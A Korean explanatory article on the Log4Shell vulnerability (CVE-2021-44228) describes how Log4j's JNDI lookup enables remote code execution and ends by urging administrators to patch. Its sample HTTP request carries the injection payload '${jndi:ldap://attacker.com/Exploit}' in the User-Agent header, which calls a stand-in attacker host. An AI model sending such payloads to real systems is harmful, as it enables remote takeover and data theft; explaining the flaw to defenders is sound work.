[Linux] Apache Log4j(Log4Shell) 취약점에 대해
Log4j(Log for Java)란 무엇입니까?
Log4j는 Apache에서 유지 관리하는 오픈 소스 로깅 프레임워크입니다. 소프트웨어 내에서 메시지를 기록하는 데 사용되며 시스템의 다른 서비스와 통신하는 기능이 있습니다. 이 통신 기능은 취약점이 존재하는 부분으로, 공격자가 시스템에서 실행될 수 있도록 로그에 악성 코드를 삽입할 수 있는 기회를 제공합니다. Log4j는 Java 및 기타 다양한 언어로 개발된 애플리케이션에서 로깅에 널리 사용되는 표준 라이브러리이기 때문에, 많은 서버 및 애플리케이션에서 사용되고 있습니다.
Apache Log4j Vulernability(일명 Log4Shell이라고도 함)은 2021년에 발견된 심각한 보안 취약점(CVE-2021-44228)입니다. CVSS(Common Vulnerability Scoring System)의 심각도 점수는 10점 만점에 10점입니다. 이 취약점은 Minecraft 게임 버전에서 처음 발견되었습니다. 악의적인 개인은 Log4j를 사용하여 게임 채팅이 기록되고 있다는 사실을 알게 되었고, 채팅에 악성 코드를 입력하면 원격 코드 실행(Remote Code Execution, RCE)으로 이어졌습니다. 이 취약점은 악의적인 공격자로 하여금 잠재적으로 악의적인 코드를 실행할 수 있는 원격 코드 실행(RCE, Remote Code Execution) 공격을 가능하게 합니다.
공격자는 서버에서 Java 객체를 가져오고 로드할 수 있는 기능인 JNDI(Java Naming and Directory Interface)를 사용하여 공격합니다. JNDI는 보안 기능이지만 Log4j 결함으로 인해 공격자가 자체 JNDI Lookup method를 호출한 다음 코드 값의 검증없이 서버를 가짜 LDAP 서버로 연결할 수 있습니다. 여기에서 공격자는 이제 원격 시스템을 제어할 수 있으며 맬웨어를 실행하고 비밀번호와 같은 민감한 정보를 유출할 수 있습니다. 즉 외부에서의 메시지 입력만으로도 시스템의 권한을 빼앗길 수 있고, 타인이 인증없이 손쉽게 시스템에 침투할 수 있는 취약점입니다.
예를 들어, 다음과 같이 공격자는 User-Agent 헤더를 사용하여 악의적인 Log4j 구성을 전달할 수 있습니다.
GET / HTTP/1.1
Host: target.example.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=abc123
공격자가 User-Agent 헤더에 ${jndi:ldap://attacker.com/Exploit}와 같은 악의적인 코드를 삽입하면, 취약한 애플리케이션이 해당 헤더를 처리할 때 Log4j의 JNDI Lookup 기능을 이용하여 LDAP 서버(ldap://attacker.com)로의 연결을 시도하고, Exploit이라는 객체를 가져와서 실행하도록 설정됩니다.
만약 취약한 애플리케이션이 Log4j의 취약점이 있는 버전을 사용하고 있고, 이러한 악의적인 코드를 처리하는 방식이 적절히 검증되지 않았다면, 해당 코드가 서버에서 실행될 가능성이 있습니다. 이것은 서버에서 악의적인 코드의 실행으로 이어질 수 있으며, 심각한 보안 문제로 이어질 수 있습니다. 따라서 이러한 취약점은 심각하며, 시스템 관리자 및 개발자는 즉시 취약한 Log4j 버전을 업데이트하고, 취약점을 이용하는 공격을 탐지하고 방어하기 위해 대응해야 합니다.